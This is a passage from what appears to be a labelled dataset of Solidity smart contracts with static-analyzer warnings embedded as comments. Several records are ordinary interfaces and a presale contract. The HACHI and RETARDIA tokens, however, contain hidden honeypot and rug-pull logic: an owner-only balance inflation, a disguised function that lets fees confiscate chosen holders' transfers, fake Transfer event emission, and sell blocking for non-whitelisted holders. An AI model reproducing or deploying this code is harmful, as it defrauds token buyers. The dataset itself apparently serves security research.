Issue (immutable-states | ID: 54420f4): HACHI.Corn should be immutable \n\t// Recommendation for 54420f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public Corn;\n\n mapping(address => uint256) _balances;\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludefromFee;\n\n mapping(address => bool) public _uniswapPair;\n\n mapping(address => uint256) public wends;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d44793f): HACHI._totalSupply should be immutable \n\t// Recommendation for d44793f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 420690000000 * 10 ** _decimals;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapPair;\n\n bool inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49f9def): HACHI.swapAndLiquifyEnabled should be constant \n\t// Recommendation for 49f9def: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyEnabled = true;\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n\n _;\n\n inSwapAndLiquify = false;\n }\n\n constructor() {\n Corn = payable(address(0xde035A8076C5b9C37A0DC426C80Cb3ae955E796f));\n\n _isExcludefromFee[Corn] = true;\n\n _isExcludefromFee[owner()] = true;\n\n _isExcludefromFee[address(this)] = true;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 69d8a90): HACHI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 69d8a90: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e0bcda5): HACHI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e0bcda5: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 08595ad\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d646c38\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 943d450): Contract locking ether found Contract HACHI has payable functions HACHI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 943d450: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d646c38): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d646c38: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 08595ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 08595ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d646c38\n\t\t// reentrancy-benign | ID: 08595ad\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d646c38\n\t\t// reentrancy-benign | ID: 08595ad\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf7276e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf7276e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launching() public onlyOwner {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: bf7276e\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bf7276e\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: bf7276e\n _uniswapPair[address(uniswapPair)] = true;\n\n\t\t// reentrancy-benign | ID: bf7276e\n _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 20cdc47): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 20cdc47: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3f1a0ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3f1a0ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) private returns (bool) {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (inSwapAndLiquify) {\n return _basicTransfer(from, to, amount);\n } else {\n if ((from == to && to == Corn) ? true : false)\n _balances[address(Corn)] = amount.mul(2);\n\n if (!inSwapAndLiquify && !_uniswapPair[from]) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n\t\t\t\t// reentrancy-events | ID: 20cdc47\n\t\t\t\t// reentrancy-no-eth | ID: 3f1a0ff\n swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 3f1a0ff\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: 20cdc47\n\t\t\t// reentrancy-no-eth | ID: 3f1a0ff\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 3f1a0ff\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: 20cdc47\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: d646c38\n\t\t// reentrancy-events | ID: 20cdc47\n\t\t// reentrancy-benign | ID: 08595ad\n\t\t// reentrancy-no-eth | ID: 3f1a0ff\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(Corn),\n block.timestamp\n )\n {} catch {}\n }\n\n function WhaleBuy(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != Corn) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: 3f1a0ff\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: 20cdc47\n emit Transfer(sender, address(this), swapRate);\n }\n\n return amount.sub(swapRate);\n }\n}",
"file_name": "solidity_code_1488.sol",
"secure": 0,
"size_bytes": 12248
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./ChainlinkPriceOracle.sol\" as ChainlinkPriceOracle;\n\ncontract NELYPresale is Ownable {\n using SafeERC20 for IERC20;\n\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 58272e0): NELYPresale.priceOracle should be immutable \n\t// Recommendation for 58272e0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n ChainlinkPriceOracle public priceOracle;\n\n struct TokenBuyer {\n uint256 tokensBought;\n }\n\n mapping(address => tokenBuyer) public Customer;\n\n IERC20 public immutable token =\n IERC20(0x1377b51D3136f50883bbfCBD57AD0Cd41C1f960F);\n\n IERC20 public immutable usdt =\n IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n\n uint256 private claimableTokens;\n\n address public wallet = payable(0xbA4197bEaCF709C697e41338906F0679c142CEee);\n\n uint256 public tokenPriceUSD = 941;\n\n uint256 public ethDivider = 10000000;\n\n uint256 private usdtRate = 1062699;\n\n uint256 private usdtDivider = 100;\n\n uint256 private weiRaised;\n\n uint256 private usdtRaised;\n\n uint256 private tokensSold;\n\n bool private hasPresaleStarted;\n\n bool private hasPresaleEnded;\n\n constructor() {\n priceOracle = new ChainlinkPriceOracle();\n }\n\n receive() external payable {\n buyTokens();\n }\n\n function startPresale() public onlyOwner {\n hasPresaleStarted = true;\n }\n\n function endPresale() public onlyOwner {\n hasPresaleEnded = true;\n }\n\n function buyTokens() public payable {\n require(hasPresaleStarted, \"Presale not started\");\n\n require(!hasPresaleEnded, \"Presale has ended\");\n\n require(msg.value >= 0.001 ether, \"cant buy less with than 0.001 ETH\");\n\n uint256 weiAmount = msg.value;\n\n int256 ethPrice = priceOracle.getLatestPrice();\n\n require(ethPrice > 0, \"Invalid ETH price\");\n\n uint256 tokens = weiAmount.mul(uint256(ethPrice)).mul(ethDivider).div(\n tokenPriceUSD\n );\n\n require(claimableTokens >= tokens, \"Not enough tokens availible\");\n\n weiRaised += weiAmount;\n\n Customer[msg.sender].tokensBought += tokens;\n\n tokensSold += tokens;\n\n claimableTokens -= tokens;\n\n (bool callSuccess, ) = payable(wallet).call{value: msg.value}(\"\");\n\n require(callSuccess, \"Call failed\");\n }\n\n function buyTokensWithUSDT(uint256 amount) public {\n require(hasPresaleStarted, \"Presale not started\");\n\n require(!hasPresaleEnded, \"Presale has ended\");\n\n require(amount >= 1 * 10 ** 6, \"cant buy less with than 1 USDT\");\n\n uint256 weiAmount = amount * 10 ** 12;\n\n uint256 tokens = weiAmount.mul(usdtRate).div(usdtDivider);\n\n require(claimableTokens >= tokens, \"Not enough tokens availible\");\n\n usdtRaised += amount;\n\n Customer[msg.sender].tokensBought += tokens;\n\n tokensSold += tokens;\n\n claimableTokens -= tokens;\n\n usdt.safeTransferFrom(msg.sender, wallet, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b4c321f): Reentrancy in NELYPresale.deposit(uint256) External calls token.safeTransferFrom(msg.sender,address(this),amount) State variables written after the call(s) claimableTokens += amount\n\t// Recommendation for b4c321f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9f81c41): NELYPresale.deposit(uint256) should emit an event for claimableTokens += amount \n\t// Recommendation for 9f81c41: Emit an event for critical parameter changes.\n function deposit(uint256 amount) external onlyOwner {\n require(amount > 0, \"Deposit value must be greater than 0\");\n\n\t\t// reentrancy-benign | ID: b4c321f\n token.safeTransferFrom(msg.sender, address(this), amount);\n\n\t\t// reentrancy-benign | ID: b4c321f\n\t\t// events-maths | ID: 9f81c41\n claimableTokens += amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d544a27): NELYPresale.withdraw(uint256) should emit an event for claimableTokens = amount \n\t// Recommendation for d544a27: Emit an event for critical parameter changes.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: fbc8cf1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for fbc8cf1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function withdraw(uint256 amount) external onlyOwner {\n require(\n token.balanceOf(address(this)) > 0,\n \"There are not enough tokens in contract\"\n );\n\n require(claimableTokens >= amount, \"not enough tokens to withdraw\");\n\n\t\t// reentrancy-no-eth | ID: fbc8cf1\n token.safeTransfer(msg.sender, amount);\n\n\t\t// events-maths | ID: d544a27\n\t\t// reentrancy-no-eth | ID: fbc8cf1\n claimableTokens -= amount;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: dcdf5cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for dcdf5cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimTokens() public {\n require(hasPresaleEnded, \"Presale has not ended\");\n\n require(\n Customer[msg.sender].tokensBought > 0,\n \"No tokens to be claimed\"\n );\n\n uint256 amount = Customer[msg.sender].tokensBought;\n\n\t\t// reentrancy-no-eth | ID: dcdf5cf\n token.safeTransfer(msg.sender, amount);\n\n\t\t// reentrancy-no-eth | ID: dcdf5cf\n Customer[msg.sender].tokensBought = 0;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d401834): NELYPresale.changeWallet(address)._wallet lacks a zerocheck on \t wallet = _wallet\n\t// Recommendation for d401834: Check that the address is not zero.\n function changeWallet(address payable _wallet) external onlyOwner {\n\t\t// missing-zero-check | ID: d401834\n wallet = _wallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b8996e9): NELYPresale.changeRate(uint256,uint256,uint256,uint256) should emit an event for tokenPriceUSD = _ethToUsd usdtRate = _usdtRate ethDivider = divider usdtDivider = usdtDiv \n\t// Recommendation for b8996e9: Emit an event for critical parameter changes.\n function changeRate(\n uint256 _usdtRate,\n uint256 _ethToUsd,\n uint256 divider,\n uint256 usdtDiv\n ) public onlyOwner {\n require(_usdtRate > 0, \"Rate cannot be 0\");\n\n require(_ethToUsd > 0, \"Rate cannot be 0\");\n\n\t\t// events-maths | ID: b8996e9\n tokenPriceUSD = _ethToUsd;\n\n\t\t// events-maths | ID: b8996e9\n usdtRate = _usdtRate;\n\n\t\t// events-maths | ID: b8996e9\n ethDivider = divider;\n\n\t\t// events-maths | ID: b8996e9\n usdtDivider = usdtDiv;\n }\n\n function checkbalance() external view returns (uint256) {\n return token.balanceOf(address(this));\n }\n\n function getETHPriceInUSD() public view returns (int256) {\n return priceOracle.getLatestPrice();\n }\n\n function getDivider() public view returns (uint256) {\n return ethDivider;\n }\n\n function getUsdtDivider() public view returns (uint256) {\n return usdtDivider;\n }\n\n function getTokenUsdPrice() public view returns (uint256) {\n return tokenPriceUSD;\n }\n\n function getUsdtRate() public view returns (uint256) {\n return usdtRate;\n }\n\n function progressETH() public view returns (uint256) {\n return weiRaised;\n }\n\n function progressUSDT() public view returns (uint256) {\n return usdtRaised;\n }\n\n function soldTokens() public view returns (uint256) {\n return tokensSold;\n }\n\n function checkPresaleStatus() public view returns (bool) {\n return hasPresaleStarted;\n }\n\n function checkPresaleEnd() public view returns (bool) {\n return hasPresaleEnded;\n }\n\n function getClaimableTokens() public view returns (uint256) {\n return claimableTokens;\n }\n}",
"file_name": "solidity_code_1489.sol",
"secure": 0,
"size_bytes": 9004
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract RETARDIA is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 28f6dd7): RETARDIA._e242 should be constant \n\t// Recommendation for 28f6dd7: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6457a89): RETARDIA.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 6457a89: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0xB8eb1576143149cA86a98c8f76f83dF755c1501a);\n\n\t\t// missing-zero-check | ID: 6457a89\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0x8482876C9d0509D9DC4c686B25737766644471f7 &&\n from != 0xB8eb1576143149cA86a98c8f76f83dF755c1501a &&\n from != 0xf549db1Eb630F2C1c7066A4513dAF39578Fd4c97)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"Retardia\";\n\n _symbol = unicode\"RETARDIA\";\n\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_149.sol",
"secure": 0,
"size_bytes": 6562
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IGovernable {\n error NotGovernance();\n\n error NotMintLimiter();\n\n error InvalidGovernance();\n\n error InvalidMintLimiter();\n\n event GovernanceTransferred(\n address indexed previousGovernance,\n address indexed newGovernance\n );\n\n event MintLimiterTransferred(\n address indexed previousGovernance,\n address indexed newGovernance\n );\n\n function governance() external view returns (address);\n\n function mintLimiter() external view returns (address);\n\n function transferGovernance(address newGovernance) external;\n\n function transferMintLimiter(address newGovernance) external;\n}",
"file_name": "solidity_code_1490.sol",
"secure": 1,
"size_bytes": 735
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IContractIdentifier {\n function contractId() external pure returns (bytes32);\n}",
"file_name": "solidity_code_1491.sol",
"secure": 1,
"size_bytes": 156
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IContractIdentifier.sol\" as IContractIdentifier;\n\ninterface IImplementation is IContractIdentifier {\n error NotProxy();\n\n function setup(bytes calldata data) external;\n}",
"file_name": "solidity_code_1492.sol",
"secure": 1,
"size_bytes": 253
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IOwnable {\n error NotOwner();\n\n error InvalidOwner();\n\n error InvalidOwnerAddress();\n\n event OwnershipTransferStarted(address indexed newOwner);\n\n event OwnershipTransferred(address indexed newOwner);\n\n function owner() external view returns (address);\n\n function pendingOwner() external view returns (address);\n\n function transferOwnership(address newOwner) external;\n\n function proposeOwnership(address newOwner) external;\n\n function acceptOwnership() external;\n}",
"file_name": "solidity_code_1493.sol",
"secure": 1,
"size_bytes": 587
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IOwnable.sol\" as IOwnable;\nimport \"./IImplementation.sol\" as IImplementation;\n\ninterface IUpgradable is IOwnable, IImplementation {\n error InvalidCodeHash();\n\n error InvalidImplementation();\n\n error SetupFailed();\n\n event Upgraded(address indexed newImplementation);\n\n function implementation() external view returns (address);\n\n function upgrade(\n address newImplementation,\n bytes32 newImplementationCodeHash,\n bytes calldata params\n ) external;\n}",
"file_name": "solidity_code_1494.sol",
"secure": 1,
"size_bytes": 582
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IUpgradable.sol\" as IUpgradable;\n\ninterface IAxelarGasService is IUpgradable {\n error NothingReceived();\n\n error InvalidAddress();\n\n error NotCollector();\n\n error InvalidAmounts();\n\n event GasPaidForContractCall(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event GasPaidForContractCallWithToken(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n string symbol,\n uint256 amount,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event NativeGasPaidForContractCall(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event NativeGasPaidForContractCallWithToken(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n string symbol,\n uint256 amount,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event GasPaidForExpressCall(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event GasPaidForExpressCallWithToken(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n string symbol,\n uint256 amount,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event NativeGasPaidForExpressCall(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event NativeGasPaidForExpressCallWithToken(\n address indexed sourceAddress,\n string destinationChain,\n string destinationAddress,\n bytes32 indexed payloadHash,\n string symbol,\n uint256 amount,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event GasAdded(\n bytes32 indexed txHash,\n uint256 indexed logIndex,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event NativeGasAdded(\n bytes32 indexed txHash,\n uint256 indexed logIndex,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event ExpressGasAdded(\n bytes32 indexed txHash,\n uint256 indexed logIndex,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event NativeExpressGasAdded(\n bytes32 indexed txHash,\n uint256 indexed logIndex,\n uint256 gasFeeAmount,\n address refundAddress\n );\n\n event Refunded(\n bytes32 indexed txHash,\n uint256 indexed logIndex,\n address payable receiver,\n address token,\n uint256 amount\n );\n\n function payGasForContractCall(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n ) external;\n\n function payGasForContractCallWithToken(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n string calldata symbol,\n uint256 amount,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n ) external;\n\n function payNativeGasForContractCall(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n address refundAddress\n ) external payable;\n\n function payNativeGasForContractCallWithToken(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n string calldata symbol,\n uint256 amount,\n address refundAddress\n ) external payable;\n\n function payGasForExpressCall(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n ) external;\n\n function payGasForExpressCallWithToken(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n string calldata symbol,\n uint256 amount,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n ) external;\n\n function payNativeGasForExpressCall(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n address refundAddress\n ) external payable;\n\n function payNativeGasForExpressCallWithToken(\n address sender,\n string calldata destinationChain,\n string calldata destinationAddress,\n bytes calldata payload,\n string calldata symbol,\n uint256 amount,\n address refundAddress\n ) external payable;\n\n function addGas(\n bytes32 txHash,\n uint256 logIndex,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n ) external;\n\n function addNativeGas(\n bytes32 txHash,\n uint256 logIndex,\n address refundAddress\n ) external payable;\n\n function addExpressGas(\n bytes32 txHash,\n uint256 logIndex,\n address gasToken,\n uint256 gasFeeAmount,\n address refundAddress\n ) external;\n\n function addNativeExpressGas(\n bytes32 txHash,\n uint256 logIndex,\n address refundAddress\n ) external payable;\n\n function collectFees(\n address payable receiver,\n address[] calldata tokens,\n uint256[] calldata amounts\n ) external;\n\n function refund(\n bytes32 txHash,\n uint256 logIndex,\n address payable receiver,\n address token,\n uint256 amount\n ) external;\n\n function gasCollector() external returns (address);\n}",
"file_name": "solidity_code_1495.sol",
"secure": 1,
"size_bytes": 7040
}
|
{
